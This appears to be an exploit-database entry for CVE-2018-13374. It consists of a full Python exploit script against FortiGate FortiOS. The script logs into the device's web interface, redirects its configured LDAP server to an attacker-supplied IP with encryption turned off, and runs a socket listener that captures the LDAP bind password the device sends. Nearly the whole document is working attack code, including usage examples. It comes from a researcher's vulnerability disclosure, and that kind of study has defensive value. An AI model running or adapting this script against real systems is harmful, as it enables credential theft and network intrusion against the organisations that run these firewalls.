FortiGate FortiOS LDAP Credential Disclosure

Related Vulnerabilities: CVE-2018-13374  
Publish Date: 16 Jan 2019
Author: Julio Urena
                							

                #/usr/bin/python3

"""
CVE-2018-13374
Publicado por Julio UreA+-a (PlainText)
Twitter: @JulioUrena
Blog Post: https://plaintext.do/My-1st-CVE-Capture-LDAP-Credentials-From-FortiGate-EN/
Referencia: https://fortiguard.com/psirt/FG-IR-18-157

Ejemplo: python3 CVE-2018-13374.py -f https://FortiGateIP -u usuario -p password -i MiIP 
Ejemplo con Proxy: python3 CVE-2018-13374.py -f https://FortiGateIP -u usuario -p password -i MiIP  --proxy http://127.0.0.1:8080
"""

from threading import Thread
from time import sleep
import json, requests, socket, sys, re, click

# Disable SSL Warning
requests.packages.urllib3.disable_warnings()

# To keep the Cookies after login.
s = requests.Session()
  
def AccessFortiGate(fortigate_url, username, password, proxy_addr):
  url_login = fortigate_url+'/logincheck'

  # Pass username and Password
  payload = {"ajax": 1, "username":username, "secretkey":password}

  # verify=False - to avoid SSL warnings
  r = s.post(url_login, data=payload, proxies=proxy_addr, verify=False)

  if s.cookies:
    return True
  else:
    return False
  

def TriggerVuln(fortigate_url, ip, proxy_addr):
  print("[+] Triggering Vulnerability")
  # Access LDAP Server TAB
  r = s.get(fortigate_url+'/p/user/ldap/json/',cookies=requests.utils.dict_from_cookiejar(s.cookies), proxies=proxy_addr, verify=False)

  # Load the response in a json object 
  json_data = json.loads(r.text)

  # Assign values based on FortiGate LDAP configuration
  name = json_data['source'][0]['name']
  username = json_data['source'][0]['username']
  port = int(json_data['source'][0]['port'])
  cnid = json_data['source'][0]['cnid']
  dn = json_data['source'][0]['dn']
  ca = json_data['source'][0]['ca-cert']
  
  thread = Thread(target = GetCreds, args = (ip, port))
  thread.start()
  sleep(1)
  
  print("[+] Username: ", username)
  
  # Create json object for the vulnerable request, changing the server and setting up secure to 0
  ldap_request = {"info_only":1,"mkey":name,"ldap":{"server":ip,"port":port,"cn_id":cnid,"username":username,"dn":dn,"secure":0,"ca":ca,"type":2}}

  # Trigger the vulnerability
  r = s.get(fortigate_url+'/api/ldap?json='+str(ldap_request), cookies=requests.utils.dict_from_cookiejar(s.cookies),proxies=proxy_addr, verify=False)
  r.close()

def GetCreds(server, port):
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  
  # Allow to reuse the server/port in case of: OSError: [Errno 98] Address already in use
  sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

  server_address = (server, port)
  sock.bind(server_address)

  sock.listen()
  credentials = ''

  while True:
    print('[+] Waiting Fortigate connection ...')
    c, client_address = sock.accept()    
    try:
      while True:
        data = c.recv(1024)
        credentials = str(data)
        # \\x80\\ was common with 3 different passwords / user names, that's why it's been used as reference. 
        # It separe the username and the password
        ldap_pass = re.sub(r'.*\\x80\\','',credentials) #.replace("'","")
        print("[+] Password: ", ldap_pass[3:-1])
        break
    finally:
      c.shutdown(socket.SHUT_RDWR)
      c.close()
      sock.shutdown(socket.SHUT_RDWR)
      sock.close()

    if credentials:
      break

def print_help(self, param, value):
  if value is False:
    return
  click.echo(self.get_help())
  self.exit()

@click.command()
@click.option('-f', '--fortigate-url', 'fortigate_url', help='FortiGate URL.', required=True)
@click.option('-u', '--username', 'username', help='Username to login into Fortigate. It can be a read only user.', required=True)
@click.option('-p', '--password', 'password', help='Password to login into FortiGate.', required=True)
@click.option('-i', '--ip', 'ip', help='Host IP to send the credentails.', required=True)
@click.option('-pr', '--proxy', 'proxy', default=None, help='Proxy protocol and IP and Port.', required=False)
@click.option('-h', '--help', 'help', help='Help', is_flag=True, callback=print_help, expose_value=False, is_eager=False)
@click.pass_context


def main(self, fortigate_url, username, password, ip, proxy):
  if not fortigate_url and not username and not password:
    print_help(self, None,  value=True)
    print("[-] For usage reference use --help")
    exit(0)

  # Configure Proxy For Web Requests
  proxy_addr = {
          'http': proxy,
          'https': proxy
  }
  message = """[+] CVE-2018-13374
[+] Publicado por Julio UreA+-a (PlainText)
[+] Blog: https://plaintext.do
[+] Referencia: https://fortiguard.com/psirt/FG-IR-18-157
"""
  print(message)

  if AccessFortiGate(str(fortigate_url),username, password, proxy_addr):
    print("[+] Logged in.")
    sleep(1)
    TriggerVuln(str(fortigate_url), ip, proxy_addr)
  else:
    print("[-] Unable to login. Please check the credentials and Fortigate URL.")
    exit(0)

if __name__ == "__main__":
  main()
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